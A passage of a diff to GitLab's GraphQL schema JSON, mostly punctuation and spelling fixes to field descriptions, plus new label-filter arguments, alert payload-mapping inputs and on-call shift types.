container repositories in the group.", "args": [ ], @@ -27962,7 +30531,7 @@ }, { "name": "containsLockedProjects", - "description": "Includes at least one project where the repository size exceeds the limit", + "description": "Includes at least one project where the repository size exceeds the limit.", "args": [ ], @@ -27980,7 +30549,7 @@ }, { "name": "customEmoji", - "description": "Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled.", + "description": "Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled.", "args": [ { "name": "after", @@ -28033,7 +30602,7 @@ }, { "name": "description", - "description": "Description of the namespace", + "description": "Description of the namespace.", "args": [ ], @@ -28061,7 +30630,7 @@ }, { "name": "emailsDisabled", - "description": "Indicates if a group has email notifications disabled", + "description": "Indicates if a group has email notifications disabled.", "args": [ ], @@ -28075,7 +30644,7 @@ }, { "name": "epic", - "description": "Find a single epic", + "description": "Find a single epic.", "args": [ { "name": "startDate", @@ -28244,7 +30813,7 @@ }, { "name": "epicBoard", - "description": "Find a single epic board", + "description": "Find a single epic board.", "args": [ { "name": "id", @@ -28271,7 +30840,7 @@ }, { "name": "epicBoards", - "description": "Find epic boards", + "description": "Find epic boards.", "args": [ { "name": "after", @@ -28324,7 +30893,7 @@ }, { "name": "epics", - "description": "Find epics", + "description": "Find epics.", "args": [ { "name": "startDate", @@ -28547,7 +31116,7 @@ }, { "name": "fullName", - "description": "Full name of the namespace", + "description": "Full name of the namespace.", "args": [ ], @@ -28565,7 +31134,7 @@ }, { "name": "fullPath", - "description": "Full path of the namespace", + "description": "Full path of the namespace.", "args": [ ], @@ -28583,7 +31152,7 @@ }, { "name": "groupMembers", - "description": "A membership of a user within this group", + "description": "A membership of a user within this group.", "args": [ { "name": "search", @@ -28678,7 +31247,7 @@ }, { "name": "id", - "description": "ID of the namespace", + "description": "ID of the namespace.", "args": [ ], @@ -28696,7 +31265,7 @@ }, { "name": "isTemporaryStorageIncreaseEnabled", - "description": "Status of the temporary storage increase", + "description": "Status of the temporary storage increase.", "args": [ ], @@ -28714,7 +31283,7 @@ }, { "name": "issues", - "description": "Issues for projects in this group", + "description": "Issues for projects in this group.", "args": [ { "name": "iid", @@ -29013,7 +31582,7 @@ }, { "name": "iterations", - "description": "Find iterations", + "description": "Find iterations.", "args": [ { "name": "startDate", @@ -29146,11 +31715,11 @@ }, { "name": "label", - "description": "A label available on this group", + "description": "A label available on this group.", "args": [ { "name": "title", - "description": "Title of the label", + "description": "Title of the label.", "type": { "kind": "NON_NULL", "name": null, @@ -29173,9 +31742,49 @@ }, { "name": "labels", - "description": "Labels available on this group", + "description": "Labels available on this group.", "args": [ { + "name": "searchTerm", + "description": "A search term to find labels with.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "includeAncestorGroups", + "description": "Include labels from ancestor groups.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { + "name": "includeDescendantGroups", + "description": "Include labels from descendant groups.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { + "name": "onlyGroupLabels", + "description": "Include only group level labels.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -29214,16 +31823,6 @@ "ofType": null }, "defaultValue": null - }, - { - "name": "searchTerm", - "description": "A search term to find labels with", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null } ], "type": { @@ -29236,7 +31835,7 @@ }, { "name": "lfsEnabled", - "description": "Indicates if Large File Storage (LFS) is enabled for namespace", + "description": "Indicates if Large File Storage (LFS) is enabled for namespace.", "args": [ ], @@ -29250,7 +31849,7 @@ }, { "name": "mentionsDisabled", - "description": "Indicates if a group is disabled from getting mentioned", + "description": "Indicates if a group is disabled from getting mentioned.", "args": [ ], @@ -29264,7 +31863,7 @@ }, { "name": "mergeRequests", - "description": "Merge requests for projects in this group", + "description": "Merge requests for projects in this group.", "args": [ { "name": "iids", @@ -29469,7 +32068,7 @@ }, { "name": "milestones", - "description": "Milestones of the group", + "description": "Milestones of the group.", "args": [ { "name": "startDate", @@ -29620,7 +32219,7 @@ }, { "name": "name", - "description": "Name of the namespace", + "description": "Name of the namespace.", "args": [ ], @@ -29638,7 +32237,7 @@ }, { "name": "packageSettings", - "description": "The package settings for the namespace", + "description": "The package settings for the namespace.", "args": [ ], @@ -29652,7 +32251,7 @@ }, { "name": "parent", - "description": "Parent group", + "description": "Parent group.", "args": [ ], @@ -29666,7 +32265,7 @@ }, { "name": "path", - "description": "Path of the namespace", + "description": "Path of the namespace.", "args": [ ], @@ -29684,7 +32283,7 @@ }, { "name": "projectCreationLevel", - "description": "The permission level required to create projects in the group", + "description": "The permission level required to create projects in the group.", "args": [ ], @@ -29698,7 +32297,7 @@ }, { "name": "projects", - "description": "Projects within this namespace", + "description": "Projects within this namespace.", "args": [ { "name": "includeSubgroups", @@ -29795,7 +32394,7 @@ }, { "name": "repositorySizeExcessProjectCount", - "description": "Number of projects in the root namespace where the repository size exceeds the limit", + "description": "Number of projects in the root namespace where the repository size exceeds the limit.", "args": [ ], @@ -29813,7 +32412,7 @@ }, { "name": "requestAccessEnabled", - "description": "Indicates if users can request access to namespace", + "description": "Indicates if users can request access to namespace.", "args": [ ], @@ -29827,7 +32426,7 @@ }, { "name": "requireTwoFactorAuthentication", - "description": "Indicates if all users in this group are required to set up two-factor authentication", + "description": "Indicates if all users in this group are required to set up two-factor authentication.", "args": [ ], @@ -29841,7 +32440,7 @@ }, { "name": "rootStorageStatistics", - "description": "Aggregated storage statistics of the namespace. Only available for root namespaces", + "description": "Aggregated storage statistics of the namespace. Only available for root namespaces.", "args": [ ], @@ -29855,7 +32454,7 @@ }, { "name": "shareWithGroupLock", - "description": "Indicates if sharing a project with another group within this group is prevented", + "description": "Indicates if sharing a project with another group within this group is prevented.", "args": [ ], @@ -29869,7 +32468,7 @@ }, { "name": "stats", - "description": "Group statistics", + "description": "Group statistics.", "args": [ ], @@ -29883,7 +32482,7 @@ }, { "name": "storageSizeLimit", - "description": "Total storage limit of the root namespace in bytes", + "description": "Total storage limit of the root namespace in bytes.", "args": [ ], @@ -29897,7 +32496,7 @@ }, { "name": "subgroupCreationLevel", - "description": "The permission level required to create subgroups within the group", + "description": "The permission level required to create subgroups within the group.", "args": [ ], @@ -29911,7 +32510,7 @@ }, { "name": "temporaryStorageIncreaseEndsOn", - "description": "Date until the temporary storage increase is active", + "description": "Date until the temporary storage increase is active.", "args": [ ], @@ -29925,7 +32524,7 @@ }, { "name": "timelogs", - "description": "Time logged in issues by group members", + "description": "Time logged in issues by group members.", "args": [ { "name": "startDate", @@ -30022,7 +32621,7 @@ }, { "name": "totalRepositorySize", - "description": "Total repository size of all projects in the root namespace in bytes", + "description": "Total repository size of all projects in the root namespace in bytes.", "args": [ ], @@ -30036,7 +32635,7 @@ }, { "name": "totalRepositorySizeExcess", - "description": "Total excess repository size of all projects in the root namespace in bytes", + "description": "Total excess repository size of all projects in the root namespace in bytes.", "args": [ ], @@ -30050,7 +32649,7 @@ }, { "name": "twoFactorGracePeriod", - "description": "Time before two-factor authentication is enforced", + "description": "Time before two-factor authentication is enforced.", "args": [ ], @@ -30082,7 +32681,7 @@ }, { "name": "visibility", - "description": "Visibility of the namespace", + "description": "Visibility of the namespace.", "args": [ ], @@ -30096,7 +32695,7 @@ }, { "name": "vulnerabilities", - "description": "Vulnerabilities reported on the projects in the group and its subgroups", + "description": "Vulnerabilities reported on the projects in the group and its subgroups.", "args": [ { "name": "projectId", @@ -30269,7 +32868,7 @@ }, { "name": "vulnerabilitiesCountByDay", - "description": "Number of vulnerabilities per day for the projects in the group and its subgroups", + "description": "Number of vulnerabilities per day for the projects in the group and its subgroups.", "args": [ { "name": "startDate", @@ -30350,7 +32949,7 @@ }, { "name": "vulnerabilitiesCountByDayAndSeverity", - "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", + "description": "Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", "args": [ { "name": "startDate", @@ -30431,7 +33030,7 @@ }, { "name": "vulnerabilityGrades", - "description": "Represents vulnerable project counts for each grade", + "description": "Represents vulnerable project counts for each grade.", "args": [ { "name": "includeSubgroups", @@ -30466,7 +33065,7 @@ }, { "name": "vulnerabilityScanners", - "description": "Vulnerability scanners reported on the project vulnerabilties of the group and its subgroups", + "description": "Vulnerability scanners reported on the project vulnerabilities of the group and its subgroups.", "args": [ { "name": "after", @@ -30519,7 +33118,7 @@ }, { "name": "vulnerabilitySeveritiesCount", - "description": "Counts for each vulnerability severity in the group and its subgroups", + "description": "Counts for each vulnerability severity in the group and its subgroups.", "args": [ { "name": "projectId", @@ -30622,7 +33221,7 @@ }, { "name": "webUrl", - "description": "Web URL of the group", + "description": "Web URL of the group.", "args": [ ], @@ -30649,7 +33248,7 @@ { "kind": "SCALAR", "name": "GroupID", - "description": "Identifier of Group", + "description": "Identifier of Group.", "fields": null, "inputFields": null, "interfaces": null, @@ -30663,7 +33262,7 @@ "fields": [ { "name": "accessLevel", - "description": "GitLab::Access level", + "description": "GitLab::Access level.", "args": [ ], @@ -30677,7 +33276,7 @@ }, { "name": "createdAt", - "description": "Date and time the membership was created", + "description": "Date and time the membership was created.", "args": [ ], @@ -30691,7 +33290,7 @@ }, { "name": "createdBy", - "description": "User that authorized membership", + "description": "User that authorized membership.", "args": [ ], @@ -30705,7 +33304,7 @@ }, { "name": "expiresAt", - "description": "Date and time the membership expires", + "description": "Date and time the membership expires.", "args": [ ], @@ -30719,7 +33318,7 @@ }, { "name": "group", - "description": "Group that a User is a member of", + "description": "Group that a User is a member of.", "args": [ ], @@ -30733,7 +33332,7 @@ }, { "name": "id", - "description": "ID of the member", + "description": "ID of the member.", "args": [ ], @@ -30751,7 +33350,7 @@ }, { "name": "updatedAt", - "description": "Date and time the membership was last updated", + "description": "Date and time the membership was last updated.", "args": [ ], @@ -30765,7 +33364,7 @@ }, { "name": "user", - "description": "User that is associated with the member object", + "description": "User that is associated with the member object.", "args": [ ], @@ -31031,7 +33630,7 @@ "fields": [ { "name": "releaseStats", - "description": "Statistics related to releases within the group", + "description": "Statistics related to releases within the group.", "args": [ ], @@ -31483,6 +34082,34 @@ "defaultValue": null }, { + "name": "payloadExample", + "description": "The example of an alert payload.", + "type": { + "kind": "SCALAR", + "name": "JsonString", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "payloadAttributeMappings", + "description": "The custom mapping of GitLab alert attributes to fields from the payload_example.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "AlertManagementPayloadAlertFieldInput", + "ofType": null + } + } + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -31587,7 +34214,7 @@ { "kind": "SCALAR", "name": "IncidentManagementOncallParticipantID", - "description": "Identifier of IncidentManagement::OncallParticipant", + "description": "Identifier of IncidentManagement::OncallParticipant.", "fields": null, "inputFields": null, "interfaces": null, @@ -31717,6 +34344,87 @@ "deprecationReason": null }, { + "name": "shifts", + "description": "Blocks of time for which a participant is on-call within a given time frame. Time frame cannot exceed one month.", + "args": [ + { + "name": "startTime", + "description": "Start of timeframe to include shifts for.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "endTime", + "description": "End of timeframe to include shifts for. Cannot exceed one month after start.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallShiftConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "startsAt", "description": "Start date of the on-call rotation.", "args": [ @@ -31853,7 +34561,7 @@ { "kind": "SCALAR", "name": "IncidentManagementOncallRotationID", - "description": "Identifier of IncidentManagement::OncallRotation", + "description": "Identifier of IncidentManagement::OncallRotation.", "fields": null, "inputFields": null, "interfaces": null, @@ -31867,7 +34575,7 @@ "fields": [ { "name": "description", - "description": "Description of the on-call schedule", + "description": "Description of the on-call schedule.", "args": [ ], @@ -31881,7 +34589,7 @@ }, { "name": "iid", - "description": "Internal ID of the on-call schedule", + "description": "Internal ID of the on-call schedule.", "args": [ ], @@ -31899,7 +34607,7 @@ }, { "name": "name", - "description": "Name of the on-call schedule", + "description": "Name of the on-call schedule.", "args": [ ], @@ -31917,7 +34625,7 @@ }, { "name": "rotations", - "description": "On-call rotations for the on-call schedule", + "description": "On-call rotations for the on-call schedule.", "args": [ { "name": "after", @@ -31974,7 +34682,7 @@ }, { "name": "timezone", - "description": "Time zone of the on-call schedule", + "description": "Time zone of the on-call schedule.", "args": [ ], @@ -32112,12 +34820,179 @@ }, { "kind": "OBJECT", + "name": "IncidentManagementOncallShift", + "description": "A block of time for which a participant is on-call.", + "fields": [ + { + "name": "endsAt", + "description": "End time of the on-call shift.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "participant", + "description": "Participant assigned to the on-call shift.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "OncallParticipantType", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "startsAt", + "description": "Start time of the on-call shift.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallShiftConnection", + "description": "The connection type for IncidentManagementOncallShift.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallShiftEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallShift", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallShiftEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallShift", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "InstanceSecurityDashboard", "description": null, "fields": [ { "name": "projects", - "description": "Projects selected in Instance Security Dashboard", + "description": "Projects selected in Instance Security Dashboard.", "args": [ { "name": "after", @@ -32174,7 +35049,7 @@ }, { "name": "vulnerabilityGrades", - "description": "Represents vulnerable project counts for each grade", + "description": "Represents vulnerable project counts for each grade.", "args": [ ], @@ -32200,7 +35075,7 @@ }, { "name": "vulnerabilityScanners", - "description": "Vulnerability scanners reported on the vulnerabilties from projects selected in Instance Security Dashboard", + "description": "Vulnerability scanners reported on the vulnerabilities from projects selected in Instance Security Dashboard.", "args": [ { "name": "after", @@ -32253,7 +35128,7 @@ }, { "name": "vulnerabilitySeveritiesCount", - "description": "Counts for each vulnerability severity from projects selected in Instance Security Dashboard", + "description": "Counts for each vulnerability severity from projects selected in Instance Security Dashboard.", "args": [ { "name": "projectId", @@ -32369,7 +35244,7 @@ "fields": [ { "name": "count", - "description": "Object count", + "description": "Object count.", "args": [ ], @@ -32387,7 +35262,7 @@ }, { "name": "identifier", - "description": "The type of objects being measured", + "description": "The type of objects being measured.", "args": [ ], @@ -32405,7 +35280,7 @@ }, { "name": "recordedAt", - "description": "The time the measurement was recorded", + "description": "The time the measurement was recorded.", "args": [ ], @@ -32630,7 +35505,7 @@ "fields": [ { "name": "alertManagementAlert", - "description": "Alert associated to this issue", + "description": "Alert associated to this issue.", "args": [ ], @@ -32644,7 +35519,7 @@ }, { "name": "assignees", - "description": "Assignees of the issue", + "description": "Assignees of the issue.", "args": [ { "name": "after", @@ -32697,7 +35572,7 @@ }, { "name": "author", - "description": "User that created the issue", + "description": "User that created the issue.", "args": [ ], @@ -32747,7 +35622,7 @@ }, { "name": "closedAt", - "description": "Timestamp of when the issue was closed", + "description": "Timestamp of when the issue was closed.", "args": [ ], @@ -32761,7 +35636,7 @@ }, { "name": "confidential", - "description": "Indicates the issue is confidential", + "description": "Indicates the issue is confidential.", "args": [ ], @@ -32779,7 +35654,7 @@ }, { "name": "createNoteEmail", - "description": "User specific email address for the issue", + "description": "User specific email address for the issue.", "args": [ ], @@ -32793,7 +35668,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the issue was created", + "description": "Timestamp of when the issue was created.", "args": [ ], @@ -32811,7 +35686,7 @@ }, { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -32855,7 +35730,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -32878,7 +35753,7 @@ }, { "name": "description", - "description": "Description of the issue", + "description": "Description of the issue.", "args": [ ], @@ -32906,7 +35781,7 @@ }, { "name": "designCollection", - "description": "Collection of design images associated with this issue", + "description": "Collection of design images associated with this issue.", "args": [ ], @@ -32920,7 +35795,7 @@ }, { "name": "discussionLocked", - "description": "Indicates discussion is locked on the issue", + "description": "Indicates discussion is locked on the issue.", "args": [ ], @@ -32938,7 +35813,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -32995,7 +35870,7 @@ }, { "name": "downvotes", - "description": "Number of downvotes the issue has received", + "description": "Number of downvotes the issue has received.", "args": [ ], @@ -33013,7 +35888,7 @@ }, { "name": "dueDate", - "description": "Due date of the issue", + "description": "Due date of the issue.", "args": [ ], @@ -33027,7 +35902,7 @@ }, { "name": "emailsDisabled", - "description": "Indicates if a project has email notifications disabled: `true` if email notifications are disabled", + "description": "Indicates if a project has email notifications disabled: `true` if email notifications are disabled.", "args": [ ], @@ -33073,7 +35948,7 @@ }, { "name": "humanTimeEstimate", - "description": "Human-readable time estimate of the issue", + "description": "Human-readable time estimate of the issue.", "args": [ ], @@ -33087,7 +35962,7 @@ }, { "name": "humanTotalTimeSpent", - "description": "Human-readable total time reported as spent on the issue", + "description": "Human-readable total time reported as spent on the issue.", "args": [ ], @@ -33101,7 +35976,7 @@ }, { "name": "id", - "description": "ID of the issue", + "description": "ID of the issue.", "args": [ ], @@ -33119,7 +35994,7 @@ }, { "name": "iid", - "description": "Internal ID of the issue", + "description": "Internal ID of the issue.", "args": [ ], @@ -33151,7 +36026,7 @@ }, { "name": "labels", - "description": "Labels of the issue", + "description": "Labels of the issue.", "args": [ { "name": "after", @@ -33226,7 +36101,7 @@ }, { "name": "milestone", - "description": "Milestone of the issue", + "description": "Milestone of the issue.", "args": [ ], @@ -33240,7 +36115,7 @@ }, { "name": "moved", - "description": "Indicates if issue got moved from other project", + "description": "Indicates if issue got moved from other project.", "args": [ ], @@ -33254,7 +36129,7 @@ }, { "name": "movedTo", - "description": "Updated Issue after it got moved to another project", + "description": "Updated Issue after it got moved to another project.", "args": [ ], @@ -33268,7 +36143,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -33325,7 +36200,7 @@ }, { "name": "participants", - "description": "List of participants in the issue", + "description": "List of participants in the issue.", "args": [ { "name": "after", @@ -33378,11 +36253,11 @@ }, { "name": "reference", - "description": "Internal reference of the issue. Returned in shortened format by default", + "description": "Internal reference of the issue. Returned in shortened format by default.", "args": [ { "name": "full", - "description": "Boolean option specifying whether the reference should be returned in full", + "description": "Boolean option specifying whether the reference should be returned in full.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -33405,7 +36280,7 @@ }, { "name": "relativePosition", - "description": "Relative position of the issue (used for positioning in epic tree and issue boards)", + "description": "Relative position of the issue (used for positioning in epic tree and issue boards).", "args": [ ], @@ -33419,7 +36294,7 @@ }, { "name": "severity", - "description": "Severity level of the incident", + "description": "Severity level of the incident.", "args": [ ], @@ -33447,7 +36322,7 @@ }, { "name": "state", - "description": "State of the issue", + "description": "State of the issue.", "args": [ ], @@ -33479,7 +36354,7 @@ }, { "name": "subscribed", - "description": "Indicates the currently logged in user is subscribed to the issue", + "description": "Indicates the currently logged in user is subscribed to the issue.", "args": [ ], @@ -33497,7 +36372,7 @@ }, { "name": "taskCompletionStatus", - "description": "Task completion status of the issue", + "description": "Task completion status of the issue.", "args": [ ], @@ -33515,7 +36390,7 @@ }, { "name": "timeEstimate", - "description": "Time estimate of the issue", + "description": "Time estimate of the issue.", "args": [ ], @@ -33533,7 +36408,7 @@ }, { "name": "title", - "description": "Title of the issue", + "description": "Title of the issue.", "args": [ ], @@ -33565,7 +36440,7 @@ }, { "name": "totalTimeSpent", - "description": "Total time reported as spent on the issue", + "description": "Total time reported as spent on the issue.", "args": [ ], @@ -33583,7 +36458,7 @@ }, { "name": "type", - "description": "Type of the issue", + "description": "Type of the issue.", "args": [ ], @@ -33597,7 +36472,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the issue was last updated", + "description": "Timestamp of when the issue was last updated.", "args": [ ], @@ -33615,7 +36490,7 @@ }, { "name": "updatedBy", - "description": "User that last updated the issue", + "description": "User that last updated the issue.", "args": [ ], @@ -33629,7 +36504,7 @@ }, { "name": "upvotes", - "description": "Number of upvotes the issue has received", + "description": "Number of upvotes the issue has received.", "args": [ ], @@ -33647,7 +36522,7 @@ }, { "name": "userDiscussionsCount", - "description": "Number of user discussions in the issue", + "description": "Number of user discussions in the issue.", "args": [ ], @@ -33665,7 +36540,7 @@ }, { "name": "userNotesCount", - "description": "Number of user notes of the issue", + "description": "Number of user notes of the issue.", "args": [ ], @@ -33701,7 +36576,7 @@ }, { "name": "webPath", - "description": "Web path of the issue", + "description": "Web path of the issue.", "args": [ ], @@ -33719,7 +36594,7 @@ }, { "name": "webUrl", - "description": "Web URL of the issue", + "description": "Web URL of the issue.", "args": [ ], @@ -33773,7 +36648,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -33845,7 +36720,7 @@ }, { "name": "weight", - "description": "Total weight of issues collection", + "description": "Total weight of issues collection.", "args": [ ], @@ -33917,7 +36792,7 @@ { "kind": "SCALAR", "name": "IssueID", - "description": "Identifier of Issue", + "description": "Identifier of Issue.", "fields": null, "inputFields": null, "interfaces": null, @@ -35881,7 +38756,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp of iteration creation", + "description": "Timestamp of iteration creation.", "args": [ ], @@ -35899,7 +38774,7 @@ }, { "name": "description", - "description": "Description of the iteration", + "description": "Description of the iteration.", "args": [ ], @@ -35927,7 +38802,7 @@ }, { "name": "dueDate", - "description": "Timestamp of the iteration due date", + "description": "Timestamp of the iteration due date.", "args": [ ], @@ -35941,7 +38816,7 @@ }, { "name": "id", - "description": "ID of the iteration", + "description": "ID of the iteration.", "args": [ ], @@ -35959,7 +38834,7 @@ }, { "name": "iid", - "description": "Internal ID of the iteration", + "description": "Internal ID of the iteration.", "args": [ ], @@ -35977,7 +38852,7 @@ }, { "name": "report", - "description": "Historically accurate report about the timebox", + "description": "Historically accurate report about the timebox.", "args": [ ], @@ -35991,7 +38866,7 @@ }, { "name": "scopedPath", - "description": "Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts", + "description": "Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts.", "args": [ ], @@ -36005,7 +38880,7 @@ }, { "name": "scopedUrl", - "description": "Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts", + "description": "Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts.", "args": [ ], @@ -36019,7 +38894,7 @@ }, { "name": "startDate", - "description": "Timestamp of the iteration start date", + "description": "Timestamp of the iteration start date.", "args": [ ], @@ -36033,7 +38908,7 @@ }, { "name": "state", - "description": "State of the iteration", + "description": "State of the iteration.", "args": [ ], @@ -36051,7 +38926,7 @@ }, { "name": "title", - "description": "Title of the iteration", + "description": "Title of the iteration.", "args": [ ], @@ -36069,7 +38944,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of last iteration update", + "description": "Timestamp of last iteration update.", "args": [ ], @@ -36087,7 +38962,7 @@ }, { "name": "webPath", - "description": "Web path of the iteration", + "description": "Web path of the iteration.", "args": [ ], @@ -36105,7 +38980,7 @@ }, { "name": "webUrl", - "description": "Web URL of the iteration", + "description": "Web URL of the iteration.", "args": [ ], @@ -36248,7 +39123,7 @@ { "kind": "SCALAR", "name": "IterationID", - "description": "Identifier of Iteration", + "description": "Identifier of Iteration.", "fields": null, "inputFields": null, "interfaces": null, @@ -36342,7 +39217,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp of when the Jira import was created", + "description": "Timestamp of when the Jira import was created.", "args": [ ], @@ -36356,7 +39231,7 @@ }, { "name": "failedToImportCount", - "description": "Count of issues that failed to import", + "description": "Count of issues that failed to import.", "args": [ ], @@ -36374,7 +39249,7 @@ }, { "name": "importedIssuesCount", - "description": "Count of issues that were successfully imported", + "description": "Count of issues that were successfully imported.", "args": [ ], @@ -36392,7 +39267,7 @@ }, { "name": "jiraProjectKey", - "description": "Project key for the imported Jira project", + "description": "Project key for the imported Jira project.", "args": [ ], @@ -36410,7 +39285,7 @@ }, { "name": "scheduledAt", - "description": "Timestamp of when the Jira import was scheduled", + "description": "Timestamp of when the Jira import was scheduled.", "args": [ ], @@ -36424,7 +39299,7 @@ }, { "name": "scheduledBy", - "description": "User that started the Jira import", + "description": "User that started the Jira import.", "args": [ ], @@ -36438,7 +39313,7 @@ }, { "name": "totalIssueCount", - "description": "Total count of issues that were attempted to import", + "description": "Total count of issues that were attempted to import.", "args": [ ], @@ -36845,7 +39720,7 @@ "fields": [ { "name": "key", - "description": "Key of the Jira project", + "description": "Key of the Jira project.", "args": [ ], @@ -36863,7 +39738,7 @@ }, { "name": "name", - "description": "Name of the Jira project", + "description": "Name of the Jira project.", "args": [ ], @@ -36877,7 +39752,7 @@ }, { "name": "projectId", - "description": "ID of the Jira project", + "description": "ID of the Jira project.", "args": [ ], @@ -37020,7 +39895,7 @@ "fields": [ { "name": "active", - "description": "Indicates if the service is active", + "description": "Indicates if the service is active.", "args": [ ], @@ -37034,7 +39909,7 @@ }, { "name": "projects", - "description": "List of all Jira projects fetched through Jira REST API", + "description": "List of all Jira projects fetched through Jira REST API.", "args": [ { "name": "name", @@ -37097,7 +39972,7 @@ }, { "name": "type", - "description": "Class name of the service", + "description": "Class name of the service.", "args": [ ], @@ -37128,7 +40003,7 @@ "fields": [ { "name": "gitlabId", - "description": "ID of the matched GitLab user", + "description": "ID of the matched GitLab user.", "args": [ ], @@ -37142,7 +40017,7 @@ }, { "name": "gitlabName", - "description": "Name of the matched GitLab user", + "description": "Name of the matched GitLab user.", "args": [ ], @@ -37156,7 +40031,7 @@ }, { "name": "gitlabUsername", - "description": "Username of the matched GitLab user", + "description": "Username of the matched GitLab user.", "args": [ ], @@ -37170,7 +40045,7 @@ }, { "name": "jiraAccountId", - "description": "Account ID of the Jira user", + "description": "Account ID of the Jira user.", "args": [ ], @@ -37188,7 +40063,7 @@ }, { "name": "jiraDisplayName", - "description": "Display name of the Jira user", + "description": "Display name of the Jira user.", "args": [ ], @@ -37206,7 +40081,7 @@ }, { "name": "jiraEmail", - "description": "Email of the Jira user, returned only for users with public emails", + "description": "Email of the Jira user, returned only for users with public emails.", "args": [ ], @@ -37234,7 +40109,7 @@ "inputFields": [ { "name": "jiraAccountId", - "description": "Jira account ID of the user", + "description": "Jira account ID of the user.", "type": { "kind": "NON_NULL", "name": null, @@ -37248,7 +40123,7 @@ }, { "name": "gitlabId", - "description": "Id of the GitLab user", + "description": "Id of the GitLab user.", "type": { "kind": "SCALAR", "name": "Int", @@ -37451,7 +40326,7 @@ 